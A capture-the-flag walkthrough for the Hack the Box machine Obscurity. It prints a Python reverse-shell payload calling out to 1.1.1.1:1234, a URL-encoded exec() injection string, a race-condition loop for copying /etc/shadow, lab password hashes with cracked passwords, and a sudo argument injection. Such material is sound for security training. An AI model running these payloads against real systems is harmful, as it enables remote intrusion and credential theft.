Obscurity - Hack the Box - Writeup

A writeup for the machine Obscurity from hackthebox.eu with medium Difficulty.

Date and Time of last update Wed 28 Oct 2020
  

Obscurity is a fairly straightforward box that requires a basic understanding of Python in order to move forward.

A quick overview of the process we follow to get root is:

  1. Discover a the server python file which has a critical vulnerability allowing RCE (www-data).
  2. We jump to the user by cracking an easily reversable encryption mechanism that is being used (user).
  3. Root is achieved in two ways, including vulnerabilities in a Python script once again.

Enumerating with Nmap

We fire up nmap with the following command nmap -A 10.10.10.168.

obscurity_nmap.png

What stands out is a service running on port 8080 named BadHTTPServer. We visit it and we are welcomed by a website. Inspecting a bit the website gives us the following clue.

obscurity_website.png

Pretty interesting clue there!! One thing comes in mind --- lets try to fuzz it in order to reveal the path of the SuperSecureServer.py.

You may use wfuzz for this or try some random names as it is fairly easy. I was lucky and got the directory with the second or third guess but lets not base our chances in luck. What you want to do is hit the following command in your terminal (assuming you have wfuzz installed)

wfuzz -w /usr/share/dirb/wordlists/common.txt http://10.10.10.168:8080/FUZZ/SuperSecureServer.py


After some time you will see that the directory we are looking for is named develop.


Getting the user

Now we have access to the python script that is used as an http server. Upon close inspection we see a line that raises questions as to why it is being used and we also see a sense of humor from the author of the challenge as he questions himself if that is the correct way to do string formatting. The line we are talking about is this one exec(info.format(path)). For some evil purpose the exec function has been used there to help with the string formatting.


The idea here is, since exec is being used, lets use a path that escapes out of the string so we can execute arbitrary python code!

But what kind of code should we execute?
Well, we have python running so, how about we run a python reverse shell there to connect back to us? That is what we did and this is the python code we used

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);


One important thing to keep in mind is that we need to URL encode the command above so it will be translated properly. So it becomes something like the following

hello';import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%221.1.1.1%22%2C1234%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B#


As a next step we need to setup our listener by running nc -lvp 1234. Then we fire up Burp and from there we can experiment/adjust our path. In the following screenshot you can see the full path and the reverse shell acquired by running it.

obscurity_initial_shell.png


Now we have our initial foothold to the machine!

The first thing you can do is spawn an interactive shell by executing python3 -c 'import pty; pty.spawn("/bin/sh/")'. Our next step is enumeration and before long we find in the home directory of the user robert some interesting files. Namely the one we need to explore now is the SuperSecureCrypt.py file. Upon inspection we see pretty much immediately what the issue is. The encryption is basically adding up the unicode numerical values of the secret text along with the repeatition of the key. This obviously means that it can be easily reverted since we are given the check.txt as an unencrypted text and the out.txt as the result of the encryption of the check.txt with the key of the user.

Running the following gives us the key used for the encryption:

python3 SuperSecureCrypt.py -i out.txt -o /tmp/key.txt -k "$(cat check.txt)" -d

Now since we use the decryption function and we give as input the encrypted text and as a key the unencrypted input, based on the fact that the encryption is just an addition the result would be a repetition of the key as long as the two texts. Indeed this is the result and we get the key to be alexandrovich.



Now that we know the key lets get the actual password of the user by decrypting the passwordreminder.txt. After the decryption we get the pass to be SecThruObsFTW.



Going for Root!

We can now log in through SSH using the credentials of the user robert. The first thing we notice by executing sudo -l, is that we are allowed to run a file named BetterSSH.py with root privileges.


As we inspect this python file we discover two possible ways we can actually get the flag.

The first one is by cracking the password of the root user. This is done by getting access to the /etc/shadow through this python file. We notice that when executed the script makes a temporary file in the /tmp directory saving there information from the /etc/shadow.

obscurity_root1.png

So the idea is to make a small script that would sync the directory created by the script with another directory of our own. The script we used is the following

while true
do
  rsync -au "/tmp/SSH/" "/tmp"
  sleep 0.05
done


What it does is synchronizes the /tmp/SSH directory with the /tmp directory every 0.05 seconds. We name this script monitor.sh and we run it by executing nohup ./monitor.sh &. If you prefer you can also use tmux as it is available in the machine!


Now we need to trigger the script and input the credentials of the user robert so the script will be executed successfully and our copy of the shadow file will be generated. We copy the contents of the file that has been generated in the /tmp directory and as a next step we will crack it localy. The contents of that copied file are the following

root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7


After we adjust them to be like a proper shadow file we have the following:

root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:18226:0:99999:7:::
robert:$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH:18163:0:99999:7:::

Finally we need to unshadow and crack them. For a tutorial on how this is done you can check here.

We fire up john for this task and the result is the following:

obscrurity_john_root.png

We finally have the super secret password of the root user, which is mercedes. Running su - root and giving mercedes as the password grants us root access!



Now for the second way to get the root flag.
We notice that again the BetterSSH.py file has another peculiar line. Aparently if you are authenticated then it will execute your commands prepending sudo -u to them.

obscurity_root2.png

Basically we run the script, we authenticate as the user robert and if we start our command by -u root voilla we can have root access. Doing -u root cat /root/root.txt will print us the root flag.



FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/gioj84UH'

In case you are having such an error upon executing the BetterSSH.py file, simply create the /tmp/SSH directory !



Finally the two flags are:

user = e44937[...]ada2d7
root = 512fd[...]09e3